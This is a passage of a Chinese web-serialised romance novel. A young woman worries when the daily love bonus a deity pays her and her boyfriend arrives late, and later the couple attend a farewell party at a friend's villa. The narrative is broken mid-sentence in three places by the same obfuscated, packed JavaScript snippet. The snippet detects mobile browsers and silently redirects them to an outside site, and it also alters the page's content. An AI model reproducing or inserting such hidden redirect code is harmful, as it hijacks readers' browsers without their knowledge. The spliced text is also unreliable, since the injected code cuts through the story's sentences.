学着玩?这么说,邹巡好像确实“学着玩”过,要不然,除非留高校搞科研立志当科学家,谁会学物理?可他到底转行计算机了嘛,她呢,到时能转去什么行业?一时想不出。 又怎么可能不抱功利目的。邹巡说这么轻松,意思是不是她可以靠他养着,或者说靠神明、靠他们的爱情养着?真的吗,一辈子还长得很呢,邹巡要是有一天不耐烦了,奖金也会同时离去——神明是锦上添花,不是雪中送炭的。 不好一口反驳,有点当别人面打邹巡脸了。“总得上班吧。”季桃嘀咕说。 “假如你就是想上个班,那更不用担心了,至不济还能去我们公司,做虚拟空间设计。”邹巡说。 “你们公司会要我?”季桃怀疑地问。 “我还不想让你去呢,太大材小用了。” 高恒也附和道:“邹巡说得对,你不考虑其它,先学,谁知道以后什么情况?再说知识都是相通的,只要水平高,改行不在话下,学医的都有可能从文,何况你。” “行了,你们这些水平高的人就别刺激我了。”季桃轻声地笑着,“我再好好想想。” “不急,”邹巡拍拍她,“就做你最想做的事,别有压力。” 饭后,店里会送每人一份小小的冰淇淋蛋糕,季桃告诉高恒:“你快尝尝这个,可好吃啦。” 邹巡将自己的一份放到季桃面前:“这个也给你,慢慢吃。” 见她快吃完了,邹巡示意结账。他转头把手机递给服务员,高恒向他望一眼,脸上忽地一呆。 季桃吃完蛋糕,抬头见高恒愣在那里,不禁也向邹巡看去,没发现与之前有什么两样,再去看高恒,碰巧高恒也正朝她看,四目相视,高恒眼里有种复杂曲折的情绪,像是高兴,又像是伤心,这下,季桃亦是一愣。 邹巡回过头时,两人还对视愣着,邹巡的目光从他们脸上扫过,定住,笑着问季桃:“吃好了没有?好了就走吧。”他率先站起身。 . 早上醒来,季桃先向枕头下去摸手机,摸了一会儿没摸到,这才睁开眼。 邹巡正站在床边,冲床头柜抬抬下巴:“没电了,给你充着呢。” “几点了?”季桃猛地睁大眼睛,怎么没听到闹钟? “七点二十五。”邹巡直接答道。 哦,抓紧点还来得及。但季桃这时清醒了,马上想起今天是周日,不用上班。她望着已经穿好衣服的邹巡:“你去哪儿?” “去趟公司。” “今天要加班?” “临时决定的。”邹巡说,“你再睡会儿吧。我得走了。”没说几句话,他急匆匆出了门。 周日让人去加班就算了,居然这么早,比工作日还早,资本家真可恶。季桃气呼呼地想。 资本家压榨起人,简直毫无底线。没几天,邹巡被领导叫去和美国客户开会,因为他熟悉业务,而且英语好——他在外企上过几年班。中美时差刚好是一个日夜的倒换,会议安排在半夜,一直到凌晨五点美国人下班才结束。这之后,邹巡还得整理会议内容,等第二天上班传达给其他同事。 季桃对邹巡的领导表示了几句不满,邹巡倒无所谓,说:“没事,明天中午就能回家,连着星期六,能休息一天半。下班的时候,我去接你。” “不用,我打车回。”季桃说,有点不高兴。她就那么自私吗,好像她一点不关心邹巡本人,只关心邹巡能不能接送她上下班。 季桃的闹钟一向定在早晨七点,不过她一般七点二十才起,反正有邹巡喊她。这次她决定七点准时起床,留够时间消消停停吃早饭,即使叫的车晚来几分钟,也不必焦急。 其实闹铃响之前她就醒了,才六点四十五。她闭上眼躺了十五分钟,听见音乐,按掉它,又继续躺一会儿。 再看时间,七点零一分,季桃又看一眼有没有消息,或许邹巡会催她起床呢。没有。 七点零五起床也来得及,季桃想,但她突然觉得哪里有些不对。 也没有看见短信提示——没有收到银行入账短信。 季桃彻底清醒了,一下子坐起来。短信时间总是显示7:00,现在已经7:01了,不,就在她看的当口,蹦到了7:02,手机时间不会错。 短信丢失了?不是没有这个可能。季桃点开银行APP。神明奖金向来是不在明细中显示的,只有一个余额,目前的余额总数是八十万多点,将近八十一万。 季桃已经好久不关心自己的余额了,从神明发奖金开始,她的账户便是出得少,入得多。平日的花销无非是买些小东西,中午吃饭,八千的工资绰绰有余。上班第一个月,季桃给外公外婆、舅舅舅妈、爷爷奶奶、姑姑姑夫都买了礼物。当时还准备给姑姑一些钱,但姑姑不要,说家里雇了保姆,自己找到一份工作,薪水不错,姑夫的工资也涨了,以后会好很多。姑姑甚至把季桃给表妹的一万块钱都还了回来。 手头宽裕了,季桃便提出和邹巡共同负担衣食住行开销,谁知邹巡依然不同意。就连神明给的奖金他都不肯拿,只有买车时首付用了那笔钱,后来买衣服什么的,季桃转了十多万给邹巡,邹巡却又陆陆续续转回给她不少,说:“我发了奖金,还是你拿着吧,想花就花。” 几次之后,季桃不再转来转去了,省得麻烦。她想想也对,要是钱给邹巡,他肯定存不住,定要“想花就花”地全部花在她身上,还不如先放在她这儿。 八十万,季桃花几秒钟时间粗算了一下,这个数目差不多。差一万肯定看不出来,得细细对账。这时候,她哪有心思找纸笔计算——与其怀疑短信丢失,不如相信奖金就是没了。 她再回去翻看前面的短信。 入账消息只有最开始那几天的。上次她和邹巡闹着玩赌气,短信刚到自己就删了。后来有次想:万一别人看见这些短信,不觉得奇怪吗?她说,干脆以后全删 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997248|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了算了。邹巡同意,但又说,保留第一条吧,是个纪念。她保留了前三条。这以后再来短信,看见时就删了;大多时候,手机放在邹巡那边床头柜上充电,他早上给她关闹钟,正好短信进来,顺手帮她删掉。但是,这笔钱每天都会到账,这点可以确定,至少昨天还有,昨天的短信她亲眼看见的,记得很清楚。 短短二十四小时,发生了什么? 她身上肯定没有变化。 那只能是邹巡了。一下子,季桃手心冰凉。 昨天早上,她是早早就醒了。她做了个冒险的梦,在梦里,她和邹巡并肩作战,历经曲折,最终得偿所愿。虽然在醒来的一刹那,梦的大半内容便沙一般散去了,但那种甜蜜又兴奋的心情没有消失。她闭着眼,翻了个身,伸手去搂邹巡的腰。 她的手腕被一把攥住。半是疼痛,半是吃惊,她瞪大眼,看见邹巡盯着她。 光线很暗,她将邹巡的表情看不仔细,但最初一瞬得到的感觉,他的目光是冰冷的。 “你干嘛?”她一边抽手一边说。 邹巡立马松开了。“对不起。”他说。 道歉证实了她一瞬间的感觉没错,不然,按邹巡的脾性,不得腾身,扑倒,摁住?一头豹子哪会道歉? 她又翻了回去,他的手却追过来了。她不乐意,手腕的疼还没消呢,可邹巡的手很温柔,意愿很坚定,渐渐地,她忘却了前面一瞬的不愉快。 闹铃响时,她正蜷在邹巡怀里。两人抱着,不想动一动,但音乐不容置疑、孜孜不倦地响着。邹巡转身去按手机。 “给我。”她说。 邹巡把手机递给她,她看见了新来的入账短信,让邹巡看。 邹巡瞄一眼,把手机扔到一旁,吻她。“所以,你能原谅我了?”他的声音中带着不容置疑的、胜利的意味。 当然,没有什么原谅不原谅。那时候,她知道准是工作上的事,就像一两天前那回,她看见邹巡坐在那儿,上去抚他眉毛说:“想什么呢剑眉紧锁装深沉。” 邹巡一偏头,躲开她的手,射过来的目光是严厉的。“别动!”声音比目光更严厉。 当时她都愣了,哪怕吵架时邹巡都没用过那么粗暴的语气。 但邹巡好像随即回过神,发现是她,急忙道歉说:“对不起。我在想别的事情。” 他还追着她,“让我看看你的眼睛。”她当然不许他看,不然就看出她是假生气了。反正和他闹一闹,让他哄一哄就行了,小情侣嘛。 她又不是不知道,邹巡工作起来超级认真。先前单是写写代码,对他来说小菜一碟,上班的时候专心写,下班后就不用去想它了。可最近,领导开始要他负责项目,那事情就太多了,难免下班后继续费神伤脑筋,这种时候,当然讨厌打扰。 她也是上了学上了班的,能没体会吗?那时大家开玩笑:每逢期末交作业考试的兵荒马乱,情侣会分一半,没分的,那是忙得连联系都没工夫,没机会吵架。玩笑归玩笑,人要是忙起来,火气一冒,真的可以六亲不认。自己不就朝邹巡发过不讲道理的脾气?——都是你!可实际上唯一好怪的是找不到该怪他哪儿,邹巡是无可指摘的。 不过,先前的无可指摘显出他近两天特别过分,工作思绪都带到床上了。但邹巡并不会想到她从有趣的梦中突然醒来,梦里还有他嘛。何况,他道了歉。 这些是季桃在今天早上七点前的想法,可现在,当发现没有收到“真爱奖”短信,她又不确定了。 27. 不再相爱 不能说邹巡突然间不爱她了。或许只是没有过去那么深,是一点一点缓慢地降低,以至他自己都没察觉?但量变终会引起质变,比起昨天,今天他对她的关心又少了一点,就一点儿,但已经落在神明的刻度之下了? 必须承认,到底还是有差异。比方说——不用说远,就在一两月之前,遇到今天这种情况,邹巡肯定会打来电话喊她起床,可这会儿,他像块石头,毫无动静。 可他是刚刚通宵加完班。和美国客户开会,是技术与外交的双重考验,多累呀。他只能趁早上时间短暂休息一会儿,上班后还得接着再和同事开会。 先前,她通宵做模型,十一点多,邹巡跑去,给她和同学送宵夜。后来他又发消息说,等完成了打电话,过来接她,可她根本没顾上看手机。凌晨四点做完,困得厉害,要等同学一起走,就趴在桌上先睡了一会儿。五点刚出大楼,正看见邹巡站在那儿等她。 她便向他发脾气:“你又跑来干什么?” “去我那儿休息吧,宿舍早上吵得很。”他说。 她困得东倒西歪,靠在他身上,都忘了怎么被他拉上车又拽进屋的。再一睁眼,神清气爽,看见邹巡正坐在旁边,在电脑上敲代码。他笑着说:“十点了,再不醒我要喊你了。有早餐,吃了咱们去学校。” 她想:她怎么会有一个这么好的男朋友? 但是,今天没有收到钱,究竟是哪里出错了? 季桃仔细回想神明当时交代的话:奖金会一直发放,直到他们不再相爱。——“不再相爱”,这和神明鉴定二人“真心相爱”一样,模棱两可。但神明最后还补充了一句,简单而粗暴:只要任意一方精神出轨或身体出轨,奖金永久停止。 季桃心里一咯噔。 邹巡昨晚真的在公司加班开会,会不会是他编的借口?该不会是廖澍晴搞什么幺蛾子吧?她把邹巡骗出去,给他下药了?一瞬间,一大堆狗血剧情涌入季桃脑中。 确实没想到,那天会突然收到廖澍晴的消息。 廖澍晴和季桃互加好友只是为发照片,发完便完了。但那天,廖澍晴第一次给季桃发来消息,说:学姐,我哥哥的事,实在对不起。 季桃回了个笑脸:请不必放在心上。 廖澍晴又说:我想当面向邹学长致歉,但学长可能不愿见我,请学姐代转告,请学长千万千万不要见怪。 季桃有点奇怪了:道歉也是廖展飞向自己道歉,廖展飞的妹妹跟邹巡道哪门子歉?“对不起”三个简单的字真没耐力绕这么大一圈。 不过毕竟怪不到廖澍晴头上,正想着含糊一句算了,没工夫和她说,还上班呢,廖澍晴又发一条:有天我哥哥问起学姐的男朋友,我没多想,就把邹学长的信息告诉了哥哥,我实在没想到哥哥会告到学校。但我确实有责任,给学长和他的导师造成了很大困扰,学长要怪还是怪我好了。 这下季桃吃惊了,聊天记录截图给邹巡,问:怎么回事? 邹巡回:不用理她。廖展飞说我上班违反校规,没事,回来我和你说。 忍到下班,季桃才听见详情,原来是那次廖展飞怀恨在心,事后大概跟廖澍晴打听过,得知邹巡已经在公司上班,便向学校提出,邹巡是全日制研究生,全职工作违反校规,按学校政策应该取消学籍。 “他管得真宽。”季桃气得咬牙。廖展飞不光虚伪好色,还是个睚眦必报的小人。 “浪费他自己的时间,反正对我没影响。”邹巡对她笑笑,宽慰说,“导师同意的,学校也知情,其实我在公司做的事,也是课题的一部分,我导师那个创意实验室,就是和我们公司合作的。” 季桃想起来了:“不是上次我看见窦意鸣妈妈去学校和你导师谈?他妈妈和你们公司也有业务?” “或许吧。”邹巡看着前面一辆不停换道的车,皱了皱眉。 “廖展飞什么时候找学校的?”季桃问。 “八月。” 这么说就是艺术家聚会后没多久。季桃在心里又骂了几句。“都一个多月了,廖澍晴怎么这会儿想起来道歉了?” “不知道,这一对兄妹。”停了好一会儿,邹巡又说,“她再和你说什么你都别理。她上学期有课程不及格,开学补考也没过,需要重修。她很可能延迟才能拿到学位,学校已经给她警告了,她大概以为我导师能帮她说话。” “我把她删了。”说着,季桃从手机上删掉了廖澍晴。 这一对兄妹。又不是人人都修学分困难,必须在学校挨够时间才能勉强毕业;又不是人人都有家族企业,不急着干事业,反倒还满世界哄人去酒店看他那点儿东西。别人想上学又想赚钱怎么了?真好笑。他们怎么不看,邹巡上班归上班,可是一点没耽搁他上课、考试、做课题啊。他也不是轻轻松松提前毕业,前一阵他还赶论文呢。要是换别人,把已经发了ACM的论文内容拿来,填点废话进去,扩一扩就完了。但是邹巡不,毕业论文他也认认真真的,扩出一个新方向,足可以再发一篇顶刊了。 两人沉默下来。季桃暗自琢磨:上回邹巡心烦,说是因为毕业论文,其实就是为这个事吧。 当时她拿眼角悄悄瞅邹巡,他开着车,目视前方,是一贯专注、从容的模样,下巴颌坚毅有力,显出几分不羁。没告诉她,因为是廖展飞,怕她多想、自责。 就为这个,也不该怀疑邹巡。 难不成删廖澍晴删错了?廖澍晴急了,直接去找邹巡,搞狗血? 邹巡不像狗血剧主角,但眼下情形,要不是狗血,就只能逼她怀疑邹巡。 手机在季桃手中轻轻一震。 短信来了。 时间是7:08。 季桃舒了一口气。差八分钟而已,每月十日工资到账时间前后范围好几小时呢。神明当然准点得多,但未必就一直守时,天界“出纳”可能今天心情不好,或者在什么蟠桃宴上喝多了酒,反正,人类会出的错,他们一样出,不过是概率低些罢了。 她轻松地跳下床。 回头把这事告诉邹巡,他会怎么说? 上次骗他说没收到短信,他可一点儿不信。要是他知道她为到账晚了几分钟就惊慌失措,肯定会大大笑话她吧。 她删了短信,决定不告诉邹巡。 邹巡打来电话是七点二十,季桃正叼着牙刷。“等一下。”她飞快漱了漱口,“怎么了?忙着呢,刷牙呢。” 邹巡话音里含着笑:“起了就行,怕你睡过了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000113|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我才不会。我七点就起了。会开得怎么样,是不是力压美国人?” “当然是。”邹巡骄傲地说,“你不用急,迟到不了,我把车叫好,等下发给你。” . 有惊无险,没什么比这更让人开心了。几天后,季桃开开心心去过国庆长假,去谭一伊那里玩。 这是很早前就打算好了的,和谭一伊合租的女生正好要去外地,屋子空出来,季桃可以住。邹巡不大乐意,意思是他一起去,住酒店,白天季桃找谭一伊玩就是,需要的话他还可以充当司机。但季桃觉得,再好的两个人,也不能总粘在一起,偶尔分开几天,回头交换彼此的见闻,多好。 两个城市间乘高铁很方便,但是邹巡坚持开车接送她。接她回来时,季桃觉得邹巡再见到自己,没有想象中那种兴奋。可能因为他加了几天班,没出门,没什么见闻可以分享吧。 不过到底还是高兴的,季桃兴冲冲说:“没去哪里玩,到处都是人。我们就在小街小巷走一走,看看建筑,画画画儿。我画了好几张,回去给你看……” 长假后,邹巡依然忙碌,动不动加班到很晚,晚上,季桃一个人在家,偶尔也做做自己的工作,大部分时间则看看书、看看剧,并不无聊。 有天,窦意鸣打了个电话。他准备去加拿大深造,因为姑姑在那边定居。下周就要出发,临行前,约几个朋友开个party,算是道个别。 窦意鸣说:“就在我家,也没有啥,只请几个熟朋友,很随便,大家吃一吃喝一喝唱唱歌玩玩游戏,乐呵一下,名副其实的轰趴。你可一定要赏光啊。” “我一定去。”季桃答应。 “把你男朋友带上,真的,我是诚挚邀请,请你们两个都来。你看这么久我还没认识你男朋友,出去都不放心。”窦意鸣嘿嘿笑着。 放下电话,季桃倒有点儿为难,带着男朋友去追过自己的男生家参加Party,两个人又互不相识,似乎尴尴尬尬的。不过,邹巡清楚她和窦意鸣的关系,好像不介意,但他最近工作那么忙,未必肯去窦意鸣家。 季桃准备和邹巡商量一下,没想到刚开口,邹巡一口答应:“我一直想谢谢窦意鸣,还没机会,虽然他大概也不要我谢。反正这次不能不去,应该去。” 他还始终把上回话剧的事搁在心里呢,季桃想。 窦意鸣给的地址是城南近郊的止园,那是一片高级别墅住宅区。考虑到聚会上可能喝酒,季桃和邹巡打车过去。进小区门时恰巧前面有人刷脸,便跟着一起进了。“治安漏洞不小嘛。”季桃嘀咕。 “咱们两个又不像坏蛋。”邹巡说。 “怎么了,进高级小区不能是高级坏蛋?还能让人一眼看出来?要我是保安,肯定逮住你问几句。”季桃玩笑说。 邹巡只笑了笑。季桃知道最近他被工作的事占了脑子,无暇多说话,便不多理他,只管好奇地四处张望。她用专业眼光在心里分析刚才一栋别墅的设计,又想,这恐怕就是“理想型”了,不不,绝对是“空想型”。 小区分外幽深,走出好远,豁然又是一栋米白色的建筑,在绿树和草坪间,宝石一般闪着光。季桃有些看花了眼,结果还是邹巡带她找到了窦意鸣的“庄园”。 28. 别墅 窦意鸣嘴里说随便开个party,只图乐呵一下,他做主人的却很郑重,穿一套西装,站在门口迎客。见到季桃二人,他很高兴,和邹巡握了手,互相通了姓名,邹巡还拍拍他的肩膀,显得挺亲热。 窦意鸣带他们往屋里走。两三人在客厅沙发坐得东倒西歪,见来了人,抬头望着。窦意鸣悄声对季桃说:“都在楼下玩呢,你别过去。不用理那帮家伙,太降你的档次。” 他把季桃领到书房,桌上摆着一壶冷萃碧螺春,清凉的淡绿,配着旁边一瓶浅紫色的鲜花。 季桃随意翻了一会儿书,大概是客人们全部到齐了,窦意鸣又回到屋中招呼,季桃说:“不是要烧烤吗,我们帮你准备吧。” “不用,有阿姨呢。”窦意鸣推辞一会儿,还是带他们去了厨房。 食材已经收拾得差不多了,洗净码好放在一边,只剩调料酱汁还没配。配好后,邹巡不由分说地决定:“你们歇着吧,我上去帮忙。”便跟着阿姨上了屋顶露台,好像是故意留下季桃和窦意鸣独处一般。 “好久不见你了,上次还是在学校门口吧?马上就隔山隔海了,更难见一回了。”窦意鸣感慨,看着季桃,“来,抱一下吧。” 说着他张开双臂环住季桃肩膀,礼节性地搂了搂她,并没抱实。他很快松开手,不自在地咳嗽两声,季桃扭头,看见邹巡又往厨房走来。 邹巡看窦意鸣一眼:“锡纸和手套?” “在这儿,在这儿。”窦意鸣赶忙去拿。 “行了,我来。”邹巡止住窦意鸣,拿起东西,立即转身走了。 不管抱没抱实,刚才那样子确实是在“搂搂抱抱”,又恰被邹巡看见,本来是个很尴尬的场面,可是邹巡看过来那么一眼,却是消解了尴尬,不但窦意鸣很快面色恢复如常,连季桃也毫不难为情,只是有点儿纳罕。 窦意鸣说:“我一般不爱夸男的。不过大哥确实长得帅,人更是不错。” 大哥?季桃差点笑出声,一回想方醒悟,刚才邹巡看窦意鸣那眼,并非不含威严和责怪,但确实如大哥看个淘气弟弟似的。 于是连她自己也觉得窦意鸣像是个弟弟了。不知道他去国外读几年书,能不能变成熟些。 “要不咱们也上去,和大哥说说话?”窦意鸣提议。 “没事。”季桃说,“他不爱说话,让他自个儿吧,他最近工作忙,成天都得想他那些事。” “那我带你转转。” 窦意鸣带季桃把院子和别墅地上三层都瞧了瞧,走起来还挺费腿,季桃叹道:“我现在可算直观感受到有钱人可以有钱到什么地步了。”又问,“也太费操办了,怎么不干脆在外面包个地方?你这是非得炫耀一下你的豪宅啊。” “这是我妈的主意,我也说包个场地省事,她说在家里认真办一下,又郑重又随意,多好。” 这么一说,自己家中这种亲切怡人的氛围,的确是再高级的地方也不具备的。不过,冯女士可能不太了解儿子那帮朋友,他们只要有烟有酒,能闹哄哄就足够了。 两人回到书房坐下,窦意鸣又说:“其实我不住这儿,这是我妈的房子,我那边太小,盛不下这么多人。” 季桃惊讶道:“我说呢,这些书一看就不是你的。我还以为之前低估你的品位了,你能把房子布置这么漂亮,装修得不像酒店、不像KTV,就像个家。” “没低估没低估。”窦意鸣红着脸笑,“幸亏没请你去我那儿。” “你也住这个小区?” “不不不,就我妈住这边,我才不想和她住这么近。其实我平时也很少过来,我妈都没在物业登记我的车牌,我过来还得给她打电话。只有她突然袭击检查我的份儿,反过来,没门儿。——当然,我行得正坐得端,不怕查。”他赶紧又补一句。 季桃想起自己的妈妈,鼻子有点酸。 她问:“明年才入学,你这么早就过去?” “学校在法语区,他们让我提前去,学学法语。我又不像你,有语言天赋。” 季桃高考英语差一点点就是满分,曾向窦意鸣“吹嘘”过。 “怎么不在外院跟人学,是不是你妈怕你找个女生一对一?”季桃笑他。 “还真不是。”窦意鸣说,“我妈倒不担心那个,她是嫌我在国内老想着找那几个哥们儿玩,静不下心。还有啊——”他放低声音,“我怀疑我妈又找了个人,才急着把我支开。” “那你管得着吗?” “怎么管不着,她要给我找个新爹呀,肯定得我先点头。” “你妈打算再婚了?” “还没到那步,现在顶多在那儿暧昧着。反正我没见过那人,就当作他们还要暧昧一阵——总不能我刚到加拿大,又一个电话把我叫回来见面吧,十几小时呢。” “不就是商务舱睡一觉。” 窦意鸣不好意思地笑笑:“你不知道,我爸妈这回对我是来真的了。我爸我妈从来都说不到一起的两个人,这回也达成共识了。他们两个说好,一人一年只给我八十万人民币,多一分都没有,非让我去过苦日子。” “一年一百六十万,你这日子可真够苦的呀。”季桃嘲笑道。 窦意鸣苦着脸:“才三十万加币,买辆车都不够。” “你不是那么多车吗,运过去,或者卖了再买。” “别提了,都是我爸妈买的,他们都收回去了,宁可卖了也不给我,借我开开都不行。我现在沦落到只能蹭朋友的车,倒是我妈,她竟然还准备给自己再买辆新车。” “人家自己挣的钱,想怎么花就怎么花。” 窦意鸣惭愧地笑:“季桃,你一直看我这人没用吧……” 季桃刚想反驳,想鼓励他几句,窦意鸣笑道:“行了行了,不用说,我知道你。等下回见面,争取让你刮目相看。” 正说着话,抬头忽见一男一女站在屋门口,向里瞧。 “哟,鸣哥你们在这儿呢。”男的嬉皮笑脸说。季桃还认得他,是袁楚欣男朋友。身旁那个女孩也跟着他笑,不是袁楚欣——要是袁楚欣,这会儿肯定是绷着脸。 “滚。”窦意鸣向袁楚欣男友甩了一个字。 “走走走,不打扰你。”袁楚欣男友干笑。那个女孩两条胳膊都挂在他腰上,半拥半靠着,款款地走了。 季桃问:“袁楚欣终于把他甩了?”她不喜欢袁楚欣,但更讨厌这个男的。 “挺久了吧。”窦意鸣说。 “是不是七月?”季桃挺高兴。应该是从古镇一回来就给他甩了,如果那样,都要开始喜欢袁楚欣了。“袁楚欣人家是校花,你那哥们连牛粪都不是。” “你还不知道?”窦意鸣脸色不大自然,“袁楚欣回家去了。这个学期没上学,她休了一年学。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005646|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啊?为什么?” “不清楚。他们那会儿闹分手,崔喆大概觉得没面子吧,也不跟我说,我是听别人说……好像出了点状况……”窦意鸣支支吾吾,“不小心意外了,去医院做手术,之后身体不好,所以回家休息一年。” 季桃吃了一惊,眼前突然现出袁楚欣站在校礼堂舞台,一身陈白露扮相,趾高气昂的样子。除了那次,大部分时间,她都是冰着脸,面无表情。季桃想不起来看见她笑过,因为袁楚欣也不喜欢她,不会对她笑——袁楚欣真的不大会演戏。 她心里一阵难过,半晌说:“你结交的这帮禽兽。” 窦意鸣讪讪地笑:“也不是完全不负责,崔喆在医院找了个关系,给袁楚欣开了别的病历让她跟学校请假,又给了十五万,这才分手的。” “那也是禽兽!” 窦意鸣不敢再吭声,沉默了好久,他说:“上去看看吧。” 季桃默默站起身,刚走出书房,冯女士迎面走来。 窦意鸣挺惊讶:“你回来了呀,妈。这儿都好着呢,一切正常,不用管。” “你好,季桃同学。”冯女士不理儿子,热情地招呼季桃,“谢谢你来。上班忙吧?你对意鸣帮助很大。”寒暄几句后,冯女士又向四周看,似乎在寻找什么。 “邹大哥在楼上帮忙呢。”窦意鸣说。 “哎呀,你怎么让他忙活。”冯女士说着转身上了楼。 季桃和窦意鸣跟着来到屋顶,邹巡正在串肉,冯女士开了瓶啤酒给他:“你放下,让意鸣来,你和季桃去那边坐坐,吃点冰淇淋,今天还挺热的。” “谢谢。不要紧,还是我来吧。”邹巡擦擦手,接过啤酒。 “意鸣,你换件衣服,过来干活。”冯女士呼喝儿子,转头换了笑脸,“季桃,你来坐这边,别晒着。” 很快准备就绪,窦意鸣便把客人们都请上来。共有两只烤炉,不必商量,大家自动分成两拨,一边是窦意鸣的哥们,一边是窦意鸣、季桃、邹巡、窦意鸣的一个表妹和她的同学,以及窦意鸣两位大学同学,邹巡则站在一只炉前,负责烧烤。 冯女士对儿子那帮狐朋狗友几乎毫不搭理,只和季桃等人招呼了几句,对邹巡说了些感谢致歉的话,一会儿,烤肉的香味飘出来,冯女士便走了。片刻后,楼下响一声喇叭,冯女士从一辆灰紫色宾利SUV驾驶座探出头,又向季桃几人招了招手,摇上车窗。 冯女士一走,窦意鸣哥们那帮人说笑声又响了不少,季桃和大家随意聊些学校的事,忽地,那边有个音量不算大的声音,不知怎的钻入她耳中:“恨不得给他俩办了婚礼,就安全了,就不用签支票说:‘多少钱肯离开我儿子了?’反正只要不娶进门,甭管以后怎么着,鸣哥都吃不了亏。”随即响起一阵怪笑。 是说她和邹巡,他们一定是奇怪为什么会请他俩,冯女士还格外热情。 季桃感觉几道嘲弄、鬼祟的目光向这边望来,其中也有崔喆恶毒的双眼,她气得脸上发烫,恨不得去掀了他们的炉子。 关他们什么事?真当自己高高在上了,你们算个屁。 一瞬间,季桃甚至有点儿迁怒于窦意鸣。窦意鸣下楼拿东西去了,其他人应该都没留意另一桌的话语,她抬头去看邹巡。邹巡专注地看着手中的肉,往上面撒胡椒,撒盐。 和一群傻波计较什么,季桃慢慢平静下来。 29. 八卦 这天早上,季桃的同事方大姐一进办公室便问坐在门口的小钟领导来了没,小钟去看了看,说好像没来。方大姐说:“《现代园冶》不是要发咱们那篇嘛,昨天编辑打电话说能不能再多几张照片他们选一选,本来今天让小黄去科技园拍照,谁知道他请假了,人家急着定稿呢。我问问领导,换个谁去,别等着过两天再下雨了。” “我去吧。我今天不忙。”季桃自告奋勇。她是新人,应该主动些;而且出门拍照这种事怪有意思。 “你别去,找个男的,小钟去得了,你一个女的在外头跑……”方大姐犹豫说。 但是小钟有别的事,其他男同事没看那篇关于“科技建筑中的古典园林意趣”的文章,对该配什么样的图一时摸不准,最后还是季桃去。方大姐交代了几句,取出照相机给季桃,又笑着说:“我想起来了,你男朋友是不是在科技园上班,你别急着回来,中午找他一块儿吃个饭。” 季桃笑笑,扣上黑色棒球帽,出了门。 她找了辆单车,半个小时后便蹬到了,这时还不到十点,正是上午最忙碌的一段时间,园区里没什么人走动,刚好适合拍照。 季桃来到仿溪谷设计的中心花园,先用手机拍了几张发给方大姐看。方大姐说:“挺好的。“季桃便摘下帽子挂在包上,拿出相机,跑上跑下找好角度,一气拍了十几张,又换个地方再拍。 最后拍科技园的正面入口。这里和古典园林没多大关系,一派现代感,但文章中提到了景观过渡,此处的照片说不定能用上,于是季桃找到了拍照最佳视角,小心地站在一座花坛的沿上。花坛后面是车辆出口,有一两辆车从身后经过,她也没在意。 正拍着,一个保安走来,问:“你是干什么的?” 季桃跳下花坛,报出公司名,解释说:“我就在外面拍几张照片。” 保安说:“这不行,我们有规定,不能拍照。” 季桃说:“对不起。我没看到有指示牌。” “不行,不行,走吧。”保安说。 反正差不多全拍完了。虽然被保安警觉地盯着,好像她是个商业间谍,季桃也不生气,正准备装好相机走人,有人从后面喊她:“季小姐。” 回头一看,一个年轻男人,穿身体面的西装,却是跑着过来,再定睛瞧,是邹巡同事小顾。 “季小姐,是来找邹总吗?”小顾跑得脸都红了,一停住脚,便热情地问。 “好久不见。”季桃和他招呼,“我是来拍一下你们的园区。”简单解释了几句。 “哦,哦。”小顾亮亮工卡,挥开保安,转头又向季桃说,“邹总还不知道吧,请稍等,我给他打个电话。” 季桃不及阻止,小顾已经跑到一边了。一会儿,他回来说:“邹总这会儿出去了,去参加个会。” 季桃忙说:“我不一定要找他,本来也是打算要回去的。你忙,我走了。” “别急别急。”小顾慌忙道,“季小姐先进楼里面坐吧。对照片有什么要求?我来拍。” “不用,已经拍差不多了。太感谢了。你去忙吧。”季桃没想到小顾这么热心。 “不忙不忙,我刚送个人出来,现在没事。先进去吧,外头还挺晒的。”小顾说。 “真不用了,我得回去让同事看看,他们等着用照片呢。” “千万别走,千万别走。邹总嘱咐我了,进去吧。”小顾跳一步拦住,又不好拉季桃,急得他伸开双臂,好像老鹰捉小鸡游戏里的母鸡。“季小姐坐一会儿,先把照片发回去,要是有漏掉的,还可以再拍,省得多跑一趟。” 季桃心想小顾说得挺有道理,但还是不好意思麻烦他:“你们是科研重地,闲人免入嘛。” “哪里哪里,季小姐可不是闲人。”小顾说,“季小姐愿意在邹总办公室坐会儿还是接待室?” “不用了。”季桃连连摇头,“我不进去,在大厅行不行?” “没事,接待室今天都空闲,我找一间。”小顾急忙说。 